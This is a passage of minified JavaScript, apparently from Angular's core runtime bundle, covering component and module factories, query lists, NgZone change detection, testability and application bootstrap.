a.firstCreatePass&&(on(tn(s,n),a,e.type),ko(a,s),Co(s,n.length,1)),Po(n,l),n[20]=l}(h,this.componentDef,v,s,c);if(h)if(n)Ge(c,h,["ng-version",Mu.full]);else{var g=function(t){for(var e=[],n=[],i=1,r=2;i<t.length;){var o=t[i];if("string"==typeof o)2===r?""!==o&&e.push(o,t[++i]):8===r&&n.push(o);else{if(!Br(r))break;r=o}i++}return{attrs:e,classes:n}}(this.componentDef.selectors[0]),y=g.attrs,_=g.classes;y&&Ge(c,h,y),_&&_.length>0&&Pr(c,h,_.join(" "))}if(o=zt(p,20),void 0!==e)for(var b=o.projection=[],k=0;k<this.ngContentSelectors.length;k++){var w=e[k];b.push(null!=w?Array.from(w):null)}r=function(t,e,n,i,r){var o=n[1],a=function(t,e,n){var i=oe();t.firstCreatePass&&(n.providersResolver&&n.providersResolver(n),xo(t,i,e,ro(t,e,1,null),n));var r=dn(e,t,i.directiveStart,i);Yi(r,e);var o=qt(i,e);return o&&Yi(o,e),r}(o,n,e);if(i.components.push(a),t[8]=a,r&&r.forEach(function(t){return t(a,e)}),e.contentQueries){var s=oe();e.contentQueries(1,a,s.directiveStart)}var u=oe();return!o.firstCreatePass||null===e.hostBindings&&null===e.hostAttrs||(Pe(u.index),_o(n[1],u,0,u.directiveStart,u.directiveEnd,e),bo(e,a)),a}(m,this.componentDef,v,d,[ua]),oo(p,v,null)}finally{Oe()}return new wc(this.componentType,r,Au(o,v),v,o)}}]),n}(Cu),wc=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;return _(this,n),(s=e.call(this)).location=r,s._rootLView=o,s._tNode=a,s.instance=i,s.hostView=s.changeDetectorRef=new $u(o),s.componentType=t,s}return y(n,[{key:"injector",get:function(){return new mn(this._tNode,this._rootLView)}},{key:"destroy",value:function(){this.hostView.destroy()}},{key:"onDestroy",value:function(t){this.hostView.onDestroy(t)}}]),n}(function(){return function t(){_(this,t)}}()),Cc=new Map,xc=function(t){l(n,t);var e=f(n);function n(t,i){var r;_(this,n),(r=e.call(this))._parent=i,r._bootstrapComponents=[],r.injector=p(r),r.destroyCbs=[],r.componentFactoryResolver=new yc(p(r));var o=bt(t),a=t[ot]||null;return a&&Ms(a),r._bootstrapComponents=Xi(o.bootstrap),r._r3Injector=Xo(t,i,[{provide:cc,useValue:p(r)},{provide:Su,useValue:r.componentFactoryResolver}],w(t)),r._r3Injector._resolveInjectorDefTypes(),r.instance=r.get(t),r}return y(n,[{key:"get",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:sa.THROW_IF_NOT_FOUND,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:G.Default;return t===sa||t===cc||t===zo?this:this._r3Injector.get(t,e,n)}},{key:"destroy",value:function(){var t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(function(t){return t()}),this.destroyCbs=null}},{key:"onDestroy",value:function(t){this.destroyCbs.push(t)}}]),n}(cc),Sc=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this)).moduleType=t,null!==bt(t)&&function(t){var e=new Set;!function t(n){var i=bt(n,!0),o=i.id;null!==o&&(function(t,e,n){if(e&&e!==n)throw new Error("Duplicate module registered for ".concat(t," - ").concat(w(e)," vs ").concat(w(e.name)))}(o,Cc.get(o),n),Cc.set(o,n));var a,s=r(Xi(i.imports));try{for(s.s();!(a=s.n()).done;){var u=a.value;e.has(u)||(e.add(u),t(u))}}catch(c){s.e(c)}finally{s.f()}}(t)}(t),i}return y(n,[{key:"create",value:function(t){return new xc(this.moduleType,t)}}]),n}(lc);function Ec(t,e,n,i){return Oc(ne(),de(),t,e,n,i)}function Ac(t,e,n,i,r){return function(t,e,n,i,r,o,a){var s=e+n;return ka(t,s,r,o)?_a(t,s+2,a?i.call(a,r,o):i(r,o)):Ic(t,s+2)}(ne(),de(),t,e,n,i,r)}function Tc(t,e,n,i,r,o){return function(t,e,n,i,r,o,a,s){var u=e+n;return function(t,e,n,i,r){var o=ka(t,e,n,i);return ba(t,e+2,r)||o}(t,u,r,o,a)?_a(t,u+3,s?i.call(s,r,o,a):i(r,o,a)):Ic(t,u+3)}(ne(),de(),t,e,n,i,r,o)}function Ic(t,e){var n=t[e];return n===qr?void 0:n}function Oc(t,e,n,i,r,o){var a=e+n;return ba(t,a,r)?_a(t,a+1,o?i.call(o,r):i(r)):Ic(t,a+1)}function Rc(t,e){var n,i=ie(),r=t+20;i.firstCreatePass?(n=function(t,e){if(e)for(var n=e.length-1;n>=0;n--){var i=e[n];if(t===i.name)return i}throw new T("302","The pipe '".concat(t,"' could not be found!"))}(e,i.pipeRegistry),i.data[r]=n,n.onDestroy&&(i.destroyHooks||(i.destroyHooks=[])).push(r,n.onDestroy)):n=i.data[r];var o=n.factory||(n.factory=It(n.type)),a=Y(Ea);try{var s=Xe(!1),u=o();return Xe(s),function(t,e,n,i){n>=t.data.length&&(t.data[n]=null,t.blueprint[n]=null),e[n]=i}(i,ne(),r,u),u}finally{Y(a)}}function Pc(t,e,n){var i=t+20,r=ne(),o=Zt(r,i);return function(t,e){return ma.isWrapped(e)&&(e=ma.unwrap(e),t[pe()]=qr),e}(r,function(t,e){return t[1].data[e].pure}(r,i)?Oc(r,de(),e,o.transform,n,o):o.transform(n))}function Nc(t){return function(e){setTimeout(t,void 0,e)}}var Dc=function(t){l(n,t);var e=f(n);function n(){var t,i=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return _(this,n),(t=e.call(this)).__isAsync=i,t}return y(n,[{key:"emit",value:function(t){u(m(n.prototype),"next",this).call(this,t)}},{key:"subscribe",value:function(t,e,i){var r,o,a,s=t,c=e||function(){return null},l=i;if(t&&"object"==typeof t){var f=t;s=null===(r=f.next)||void 0===r?void 0:r.bind(f),c=null===(o=f.error)||void 0===o?void 0:o.bind(f),l=null===(a=f.complete)||void 0===a?void 0:a.bind(f)}this.__isAsync&&(c=Nc(c),s&&(s=Nc(s)),l&&(l=Nc(l)));var d=u(m(n.prototype),"subscribe",this).call(this,{next:s,error:c,complete:l});return t instanceof h.w&&t.add(d),d}}]),n}(c.xQ);function Lc(){return this._results[va()]()}var Mc=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];_(this,t),this._emitDistinctChangesOnly=e,this.dirty=!0,this._results=[],this._changesDetected=!1,this._changes=null,this.length=0,this.first=void 0,this.last=void 0;var n=va(),i=t.prototype;i[n]||(i[n]=Lc)}return y(t,[{key:"changes",get:function(){return this._changes||(this._changes=new Dc)}},{key:"get",value:function(t){return this._results[t]}},{key:"map",value:function(t){return this._results.map(t)}},{key:"filter",value:function(t){return this._results.filter(t)}},{key:"find",value:function(t){return this._results.find(t)}},{key:"reduce",value:function(t,e){return this._results.reduce(t,e)}},{key:"forEach",value:function(t){this._results.forEach(t)}},{key:"some",value:function(t){return this._results.some(t)}},{key:"toArray",value:function(){return this._results.slice()}},{key:"toString",value:function(){return this._results.toString()}},{key:"reset",value:function(t,e){var n=this;n.dirty=!1;var i=Sn(t);(this._changesDetected=!function(t,e,n){if(t.length!==e.length)return!1;for(var i=0;i<t.length;i++){var r=t[i],o=e[i];if(n&&(r=n(r),o=n(o)),o!==r)return!1}return!0}(n._results,i,e))&&(n._results=i,n.length=i.length,n.last=i[this.length-1],n.first=i[0])}},{key:"notifyOnChanges",value:function(){this._changes&&(this._changesDetected||!this._emitDistinctChangesOnly)&&this._changes.emit(this)}},{key:"setDirty",value:function(){this.dirty=!0}},{key:"destroy",value:function(){this.changes.complete(),this.changes.unsubscribe()}}]),t}();Symbol;var Fc=function(){function t(e){_(this,t),this.queryList=e,this.matches=null}return y(t,[{key:"clone",value:function(){return new t(this.queryList)}},{key:"setDirty",value:function(){this.queryList.setDirty()}}]),t}(),Uc=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];_(this,t),this.queries=e}return y(t,[{key:"createEmbeddedView",value:function(e){var n=e.queries;if(null!==n){for(var i=null!==e.contentQueries?e.contentQueries[0]:n.length,r=[],o=0;o<i;o++){var a=n.getByIndex(o);r.push(this.queries[a.indexInDeclarationView].clone())}return new t(r)}return null}},{key:"insertView",value:function(t){this.dirtyQueriesWithMatches(t)}},{key:"detachView",value:function(t){this.dirtyQueriesWithMatches(t)}},{key:"dirtyQueriesWithMatches",value:function(t){for(var e=0;e<this.queries.length;e++)null!==Xc(t,e).matches&&this.queries[e].setDirty()}}]),t}(),Bc=function t(e,n){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;_(this,t),this.predicate=e,this.flags=n,this.read=i},jc=function(){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];_(this,t),this.queries=e}return y(t,[{key:"elementStart",value:function(t,e){for(var n=0;n<this.queries.length;n++)this.queries[n].elementStart(t,e)}},{key:"elementEnd",value:function(t){for(var e=0;e<this.queries.length;e++)this.queries[e].elementEnd(t)}},{key:"embeddedTView",value:function(e){for(var n=null,i=0;i<this.length;i++){var r=null!==n?n.length:0,o=this.getByIndex(i).embeddedTView(e,r);o&&(o.indexInDeclarationView=i,null!==n?n.push(o):n=[o])}return null!==n?new t(n):null}},{key:"template",value:function(t,e){for(var n=0;n<this.queries.length;n++)this.queries[n].template(t,e)}},{key:"getByIndex",value:function(t){return this.queries[t]}},{key:"length",get:function(){return this.queries.length}},{key:"track",value:function(t){this.queries.push(t)}}]),t}(),Hc=function(){function t(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:-1;_(this,t),this.metadata=e,this.matches=null,this.indexInDeclarationView=-1,this.crossesNgTemplate=!1,this._appliesToNextNode=!0,this._declarationNodeIndex=n}return y(t,[{key:"elementStart",value:function(t,e){this.isApplyingToNode(e)&&this.matchTNode(t,e)}},{key:"elementEnd",value:function(t){this._declarationNodeIndex===t.index&&(this._appliesToNextNode=!1)}},{key:"template",value:function(t,e){this.elementStart(t,e)}},{key:"embeddedTView",value:function(e,n){return this.isApplyingToNode(e)?(this.crossesNgTemplate=!0,this.addMatch(-e.index,n),new t(this.metadata)):null}},{key:"isApplyingToNode",value:function(t){if(this._appliesToNextNode&&1!=(1&this.metadata.flags)){for(var e=this._declarationNodeIndex,n=t.parent;null!==n&&8&n.type&&n.index!==e;)n=n.parent;return e===(null!==n?n.index:-1)}return this._appliesToNextNode}},{key:"matchTNode",value:function(t,e){var n=this.metadata.predicate;if(Array.isArray(n))for(var i=0;i<n.length;i++){var r=n[i];this.matchTNodeWithReadOption(t,e,Vc(e,r)),this.matchTNodeWithReadOption(t,e,fn(e,t,r,!1,!1))}else n===ac?4&e.type&&this.matchTNodeWithReadOption(t,e,-1):this.matchTNodeWithReadOption(t,e,fn(e,t,n,!1,!1))}},{key:"matchTNodeWithReadOption",value:function(t,e,n){if(null!==n){var i=this.metadata.read;if(null!==i)if(i===Iu||i===fc||i===ac&&4&e.type)this.addMatch(e.index,-2);else{var r=fn(e,t,i,!1,!1);null!==r&&this.addMatch(e.index,r)}else this.addMatch(e.index,n)}}},{key:"addMatch",value:function(t,e){null===this.matches?this.matches=[t,e]:this.matches.push(t,e)}}]),t}();function Vc(t,e){var n=t.localNames;if(null!==n)for(var i=0;i<n.length;i+=2)if(n[i]===e)return n[i+1];return null}function Gc(t,e,n,i){return-1===n?function(t,e){return 11&t.type?Au(t,e):4&t.type?uc(t,e):null}(e,t):-2===n?function(t,e,n){return n===Iu?Au(e,t):n===ac?uc(e,t):n===fc?mc(e,t):void 0}(t,e,i):dn(t,t[1],n,e)}function Yc(t,e,n,i){var r=e[19].queries[i];if(null===r.matches){for(var o=t.data,a=n.matches,s=[],u=0;u<a.length;u+=2){var c=a[u];s.push(c<0?null:Gc(e,o[c],a[u+1],n.metadata.read))}r.matches=s}return r.matches}function qc(t,e,n,i){var r=t.queries.getByIndex(n),o=r.matches;if(null!==o)for(var a=Yc(t,e,r,n),s=0;s<o.length;s+=2){var u=o[s];if(u>0)i.push(a[s/2]);else{for(var c=o[s+1],l=e[-u],h=10;h<l.length;h++){var f=l[h];f[17]===f[3]&&qc(f[1],f,c,i)}if(null!==l[9])for(var d=l[9],p=0;p<d.length;p++){var v=d[p];qc(v[1],v,c,i)}}}return i}function zc(t){var e=ne(),n=ie(),i=ke();we(i+1);var r=Xc(n,i);if(t.dirty&&Jt(e)===(2==(2&r.metadata.flags))){if(null===r.matches)t.reset([]);else{var o=r.crossesNgTemplate?qc(n,e,i,[]):Yc(n,e,r,i);t.reset(o,Ou),t.notifyOnChanges()}return!0}return!1}function Zc(t,e,n){var i=ie();i.firstCreatePass&&(Kc(i,new Bc(t,e,n),-1),2==(2&e)&&(i.staticViewQueries=!0)),Qc(i,ne(),e)}function Wc(t,e,n,i){var r=ie();if(r.firstCreatePass){var o=oe();Kc(r,new Bc(e,n,i),o.index),function(t,e){var n=t.contentQueries||(t.contentQueries=[]);e!==(n.length?n[n.length-1]:-1)&&n.push(t.queries.length-1,e)}(r,t),2==(2&n)&&(r.staticContentQueries=!0)}Qc(r,ne(),n)}function Jc(){return t=ne(),e=ke(),t[19].queries[e].queryList;var t,e}function Qc(t,e,n){var i=new Mc(4==(4&n));vo(t,e,i,i.destroy),null===e[19]&&(e[19]=new Uc),e[19].queries.push(new Fc(i))}function Kc(t,e,n){null===t.queries&&(t.queries=new jc),t.queries.track(new Hc(e,n))}function Xc(t,e){return t.queries.getByIndex(e)}function $c(t,e){return uc(t,e)}var tl=new wn("Application Initializer"),el=function(){var t=function(){function t(e){var n=this;_(this,t),this.appInits=e,this.resolve=Eu,this.reject=Eu,this.initialized=!1,this.done=!1,this.donePromise=new Promise(function(t,e){n.resolve=t,n.reject=e})}return y(t,[{key:"runInitializers",value:function(){var t=this;if(!this.initialized){var e=[],n=function(){t.done=!0,t.resolve()};if(this.appInits)for(var i=function(n){var i=t.appInits[n]();if(Fa(i))e.push(i);else if(Ba(i)){var r=new Promise(function(t,e){i.subscribe({complete:t,error:e})});e.push(r)}},r=0;r<this.appInits.length;r++)i(r);Promise.all(e).then(function(){n()}).catch(function(e){t.reject(e)}),0===e.length&&n(),this.initialized=!0}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(Vn(tl,8))},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}(),nl=new wn("AppId"),il={provide:nl,useFactory:function(){return"".concat(rl()).concat(rl()).concat(rl())},deps:[]};function rl(){return String.fromCharCode(97+Math.floor(25*Math.random()))}var ol=new wn("Platform Initializer"),al=new wn("Platform ID"),sl=new wn("appBootstrapListener"),ul=function(){var t=function(){function t(){_(this,t)}return y(t,[{key:"log",value:function(t){console.log(t)}},{key:"warn",value:function(t){console.warn(t)}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}(),cl=new wn("LocaleId"),ll=new wn("DefaultCurrencyCode"),hl=function t(e,n){_(this,t),this.ngModuleFactory=e,this.componentFactories=n},fl=function(t){return new Sc(t)},dl=fl,pl=function(t){return Promise.resolve(fl(t))},vl=function(t){var e=fl(t),n=Xi(bt(t).declarations).reduce(function(t,e){var n=_t(e);return n&&t.push(new kc(n)),t},[]);return new hl(e,n)},ml=vl,gl=function(t){return Promise.resolve(vl(t))},yl=function(){var t=function(){function t(){_(this,t),this.compileModuleSync=dl,this.compileModuleAsync=pl,this.compileModuleAndAllComponentsSync=ml,this.compileModuleAndAllComponentsAsync=gl}return y(t,[{key:"clearCache",value:function(){}},{key:"clearCacheFor",value:function(t){}},{key:"getModuleId",value:function(t){}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}(),_l=Promise.resolve(0);function bl(t){"undefined"==typeof Zone?_l.then(function(){t&&t.apply(null,null)}):Zone.current.scheduleMicroTask("scheduleMicrotask",t)}var kl=function(){function t(e){var n=e.enableLongStackTrace,i=void 0!==n&&n,r=e.shouldCoalesceEventChangeDetection,o=void 0!==r&&r,a=e.shouldCoalesceRunChangeDetection,s=void 0!==a&&a;if(_(this,t),this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new Dc(!1),this.onMicrotaskEmpty=new Dc(!1),this.onStable=new Dc(!1),this.onError=new Dc(!1),"undefined"==typeof Zone)throw new Error("In this configuration Angular requires Zone.js");Zone.assertZonePatched();var u=this;u._nesting=0,u._outer=u._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(u._inner=u._inner.fork(new Zone.TaskTrackingZoneSpec)),i&&Zone.longStackTraceZoneSpec&&(u._inner=u._inner.fork(Zone.longStackTraceZoneSpec)),u.shouldCoalesceEventChangeDetection=!s&&o,u.shouldCoalesceRunChangeDetection=s,u.lastRequestAnimationFrameId=-1,u.nativeRequestAnimationFrame=function(){var t=X.requestAnimationFrame,e=X.cancelAnimationFrame;if("undefined"!=typeof Zone&&t&&e){var n=t[Zone.__symbol__("OriginalDelegate")];n&&(t=n);var i=e[Zone.__symbol__("OriginalDelegate")];i&&(e=i)}return{nativeRequestAnimationFrame:t,nativeCancelAnimationFrame:e}}().nativeRequestAnimationFrame,function(t){var e=function(){!function(t){t.isCheckStableRunning||-1!==t.lastRequestAnimationFrameId||(t.lastRequestAnimationFrameId=t.nativeRequestAnimationFrame.call(X,function(){t.fakeTopEventTask||(t.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",function(){t.lastRequestAnimationFrameId=-1,xl(t),t.isCheckStableRunning=!0,Cl(t),t.isCheckStableRunning=!1},void 0,function(){},function(){})),t.fakeTopEventTask.invoke()}),xl(t))}(t)};t._inner=t._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:function(n,i,r,o,a,s){try{return Sl(t),n.invokeTask(r,o,a,s)}finally{(t.shouldCoalesceEventChangeDetection&&"eventTask"===o.type||t.shouldCoalesceRunChangeDetection)&&e(),El(t)}},onInvoke:function(n,i,r,o,a,s,u){try{return Sl(t),n.invoke(r,o,a,s,u)}finally{t.shouldCoalesceRunChangeDetection&&e(),El(t)}},onHasTask:function(e,n,i,r){e.hasTask(i,r),n===i&&("microTask"==r.change?(t._hasPendingMicrotasks=r.microTask,xl(t),Cl(t)):"macroTask"==r.change&&(t.hasPendingMacrotasks=r.macroTask))},onHandleError:function(e,n,i,r){return e.handleError(i,r),t.runOutsideAngular(function(){return t.onError.emit(r)}),!1}})}(u)}return y(t,[{key:"run",value:function(t,e,n){return this._inner.run(t,e,n)}},{key:"runTask",value:function(t,e,n,i){var r=this._inner,o=r.scheduleEventTask("NgZoneEvent: "+i,t,wl,Eu,Eu);try{return r.runTask(o,e,n)}finally{r.cancelTask(o)}}},{key:"runGuarded",value:function(t,e,n){return this._inner.runGuarded(t,e,n)}},{key:"runOutsideAngular",value:function(t){return this._outer.run(t)}}],[{key:"isInAngularZone",value:function(){return!0===Zone.current.get("isAngularZone")}},{key:"assertInAngularZone",value:function(){if(!t.isInAngularZone())throw new Error("Expected to be in Angular Zone, but it is not!")}},{key:"assertNotInAngularZone",value:function(){if(t.isInAngularZone())throw new Error("Expected to not be in Angular Zone, but it is!")}}]),t}(),wl={};function Cl(t){if(0==t._nesting&&!t.hasPendingMicrotasks&&!t.isStable)try{t._nesting++,t.onMicrotaskEmpty.emit(null)}finally{if(t._nesting--,!t.hasPendingMicrotasks)try{t.runOutsideAngular(function(){return t.onStable.emit(null)})}finally{t.isStable=!0}}}function xl(t){t.hasPendingMicrotasks=!!(t._hasPendingMicrotasks||(t.shouldCoalesceEventChangeDetection||t.shouldCoalesceRunChangeDetection)&&-1!==t.lastRequestAnimationFrameId)}function Sl(t){t._nesting++,t.isStable&&(t.isStable=!1,t.onUnstable.emit(null))}function El(t){t._nesting--,Cl(t)}var Al=function(){function t(){_(this,t),this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new Dc,this.onMicrotaskEmpty=new Dc,this.onStable=new Dc,this.onError=new Dc}return y(t,[{key:"run",value:function(t,e,n){return t.apply(e,n)}},{key:"runGuarded",value:function(t,e,n){return t.apply(e,n)}},{key:"runOutsideAngular",value:function(t){return t()}},{key:"runTask",value:function(t,e,n,i){return t.apply(e,n)}}]),t}(),Tl=function(){var t=function(){function t(e){var n=this;_(this,t),this._ngZone=e,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,this._watchAngularEvents(),e.run(function(){n.taskTrackingZone="undefined"==typeof Zone?null:Zone.current.get("TaskTrackingZone")})}return y(t,[{key:"_watchAngularEvents",value:function(){var t=this;this._ngZone.onUnstable.subscribe({next:function(){t._didWork=!0,t._isZoneStable=!1}}),this._ngZone.runOutsideAngular(function(){t._ngZone.onStable.subscribe({next:function(){kl.assertNotInAngularZone(),bl(function(){t._isZoneStable=!0,t._runCallbacksIfReady()})}})})}},{key:"increasePendingRequestCount",value:function(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}},{key:"decreasePendingRequestCount",value:function(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}},{key:"isStable",value:function(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}},{key:"_runCallbacksIfReady",value:function(){var t=this;if(this.isStable())bl(function(){for(;0!==t._callbacks.length;){var e=t._callbacks.pop();clearTimeout(e.timeoutId),e.doneCb(t._didWork)}t._didWork=!1});else{var e=this.getPendingTasks();this._callbacks=this._callbacks.filter(function(t){return!t.updateCb||!t.updateCb(e)||(clearTimeout(t.timeoutId),!1)}),this._didWork=!0}}},{key:"getPendingTasks",value:function(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(function(t){return{source:t.source,creationLocation:t.creationLocation,data:t.data}}):[]}},{key:"addCallback",value:function(t,e,n){var i=this,r=-1;e&&e>0&&(r=setTimeout(function(){i._callbacks=i._callbacks.filter(function(t){return t.timeoutId!==r}),t(i._didWork,i.getPendingTasks())},e)),this._callbacks.push({doneCb:t,timeoutId:r,updateCb:n})}},{key:"whenStable",value:function(t,e,n){if(n&&!this.taskTrackingZone)throw new Error('Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?');this.addCallback(t,e,n),this._runCallbacksIfReady()}},{key:"getPendingRequestCount",value:function(){return this._pendingCount}},{key:"findProviders",value:function(t,e,n){return[]}}]),t}();return t.\u0275fac=function(e){return new(e||t)(Vn(kl))},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}(),Il=function(){var t=function(){function t(){_(this,t),this._applications=new Map,Pl.addToWindow(this)}return y(t,[{key:"registerApplication",value:function(t,e){this._applications.set(t,e)}},{key:"unregisterApplication",value:function(t){this._applications.delete(t)}},{key:"unregisterAllApplications",value:function(){this._applications.clear()}},{key:"getTestability",value:function(t){return this._applications.get(t)||null}},{key:"getAllTestabilities",value:function(){return Array.from(this._applications.values())}},{key:"getAllRootElements",value:function(){return Array.from(this._applications.keys())}},{key:"findTestabilityInTree",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return Pl.findTestabilityInTree(this,t,e)}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}();function Ol(t){Pl=t}var Rl,Pl=new(function(){function t(){_(this,t)}return y(t,[{key:"addToWindow",value:function(t){}},{key:"findTestabilityInTree",value:function(t,e,n){return null}}]),t}()),Nl=!0,Dl=!1;function Ll(){return Dl=!0,Nl}function Ml(){if(Dl)throw new Error("Cannot enable prod mode after platform setup.");Nl=!1}var Fl=new wn("AllowMultipleToken"),Ul=function t(e,n){_(this,t),this.name=e,this.token=n};function Bl(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],i="Platform: ".concat(e),r=new wn(i);return function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],o=jl();if(!o||o.injector.get(Fl,!1))if(t)t(n.concat(e).concat({provide:r,useValue:!0}));else{var a=n.concat(e).concat({provide:r,useValue:!0},{provide:Wo,useValue:"platform"});!function(t){if(Rl&&!Rl.destroyed&&!Rl.injector.get(Fl,!1))throw new Error("There can be only one platform. Destroy the previous one to create a new one.");Rl=t.get(Hl);var e=t.get(ol,null);e&&e.forEach(function(t){return t()})}(sa.create({providers:a,name:i}))}return function(t){var e=jl();if(!e)throw new Error("No platform exists!");if(!e.injector.get(t,null))throw new Error("A platform with a different configuration has been created. Please destroy it first.");return e}(r)}}function jl(){return Rl&&!Rl.destroyed?Rl:null}var Hl=function(){var t=function(){function t(e){_(this,t),this._injector=e,this._modules=[],this._destroyListeners=[],this._destroyed=!1}return y(t,[{key:"bootstrapModuleFactory",value:function(t,e){var n=this,i=function(t,e){return"noop"===t?new Al:("zone.js"===t?void 0:t)||new kl({enableLongStackTrace:Ll(),shouldCoalesceEventChangeDetection:!!(null==e?void 0:e.ngZoneEventCoalescing),shouldCoalesceRunChangeDetection:!!(null==e?void 0:e.ngZoneRunCoalescing)})}(e?e.ngZone:void 0,{ngZoneEventCoalescing:e&&e.ngZoneEventCoalescing||!1,ngZoneRunCoalescing:e&&e.ngZoneRunCoalescing||!1}),r=[{provide:kl,useValue:i}];return i.run(function(){var o=sa.create({providers:r,parent:n.injector,name:t.moduleType.name}),a=t.create(o),s=a.injector.get(Wi,null);if(!s)throw new Error("No ErrorHandler. Is platform module (BrowserModule) included?");return i.runOutsideAngular(function(){var t=i.onError.subscribe({next:function(t){s.handleError(t)}});a.onDestroy(function(){Yl(n._modules,a),t.unsubscribe()})}),function(t,i,r){try{var o=((s=a.injector.get(el)).runInitializers(),s.donePromise.then(function(){return Ms(a.injector.get(cl,Ps)||Ps),n._moduleDoBootstrap(a),a}));return Fa(o)?o.catch(function(e){throw i.runOutsideAngular(function(){return t.handleError(e)}),e}):o}catch(e){throw i.runOutsideAngular(function(){return t.handleError(e)}),e}var s}(s,i)})}},{key:"bootstrapModule",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],i=Vl({},n);return function(t,e,n){var i=new Sc(n);return Promise.resolve(i)}(0,0,t).then(function(t){return e.bootstrapModuleFactory(t,i)})}},{key:"_moduleDoBootstrap",value:function(t){var e=t.injector.get(Gl);if(t._bootstrapComponents.length>0)t._bootstrapComponents.forEach(function(t){return e.bootstrap(t)});else{if(!t.instance.ngDoBootstrap)throw new Error("The module ".concat(w(t.instance.constructor),' was bootstrapped, but it does not declare "@NgModule.bootstrap" components nor a "ngDoBootstrap" method. Please define one of these.'));t.instance.ngDoBootstrap(e)}this._modules.push(t)}},{key:"onDestroy",value:function(t){this._destroyListeners.push(t)}},{key:"injector",get:function(){return this._injector}},{key:"destroy",value:function(){if(this._destroyed)throw new Error("The platform has already been destroyed!");this._modules.slice().forEach(function(t){return t.destroy()}),this._destroyListeners.forEach(function(t){return t()}),this._destroyed=!0}},{key:"destroyed",get:function(){return this._destroyed}}]),t}();return t.\u0275fac=function(e){return new(e||t)(Vn(sa))},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}();function Vl(t,e){return Array.isArray(e)?e.reduce(Vl,t):Object.assign(Object.assign({},t),e)}var Gl=function(){var t=function(){function t(e,n,i,r,o){var a=this;_(this,t),this._zone=e,this._injector=n,this._exceptionHandler=i,this._componentFactoryResolver=r,this._initStatus=o,this._bootstrapListeners=[],this._views=[],this._runningTick=!1,this._stable=!0,this.componentTypes=[],this.components=[],this._onMicrotaskEmptySubscription=this._zone.onMicrotaskEmpty.subscribe({next:function(){a._zone.run(function(){a.tick()})}});var s=new d.y(function(t){a._stable=a._zone.isStable&&!a._zone.hasPendingMacrotasks&&!a._zone.hasPendingMicrotasks,a._zone.runOutsideAngular(function(){t.next(a._stable),t.complete()})}),u=new d.y(function(t){var e;a._zone.runOutsideAngular(function(){e=a._zone.onStable.subscribe(function(){kl.assertNotInAngularZone(),bl(function(){!a._stable&&!a._zone.hasPendingMacrotasks&&!a._zone.hasPendingMicrotasks&&(a._stable=!0,t.next(!0))})})});var n=a._zone.onUnstable.subscribe(function(){kl.assertInAngularZone(),a._stable&&(a._stable=!1,a._zone.runOutsideAngular(function(){t.next(!1)}))});return function(){e.unsubscribe(),n.unsubscribe()}});this.isStable=(0,v.T)(s,u.pipe((0,g.B)()))}return y(t,[{key:"bootstrap",value:function(t,e){var n,i=this;if(!this._initStatus.done)throw new Error("Cannot bootstrap as there are still asynchronous initializers running. Bootstrap components in the `ngDoBootstrap` method of the root module.");n=t instanceof Cu?t:this._componentFactoryResolver.resolveComponentFactory(t),this.componentTypes.push(n.componentType);var r=function(t){return t.isBoundToModule}(n)?void 0:this._injector.get(cc),o=n.create(sa.NULL,[],e||n.selector,r),a=o.location.nativeElement,s=o.injector.get(Tl,null),u=s&&o.injector.get(Il);return s&&u&&u.registerApplication(a,s),o.onDestroy(function(){i.detachView(o.hostView),Yl(i.components,o),u&&u.unregisterApplication(a)}),this._loadComponent(o),o}},{key:"tick",value:function(){var t=this;if(this._runningTick)throw new Error("ApplicationRef.tick is called recursively");try{this._runningTick=!0;var e,n=r(this._views);try{for(n.s();!(e=n.n()).done;){var i;e.value.detectChanges()}}catch(o){n.e(o)}finally{n.f()}}catch(i){this._zone.runOutsideAngular(function(){return t._exceptionHandler.handleError(i)})}finally{this._runningTick=!1}}},{key:"attachView",value:function(t){var e=t;this._views.push(e),e.attachToAppRef(this)}},{key:"detachView",value:function(t){var e=t;Yl(this._views,e),e.detachFromAppRef()}},{key:"_loadComponent",value:function(t){this.attachView(t.hostView),this.tick(),this.components.push(t),this._injector.get(sl,[]).concat(this._bootstrapListeners).forEach(function(e){return e(t)})}},{key:"ngOnDestroy",value:function(){this._views.slice().forEach(function(t){return 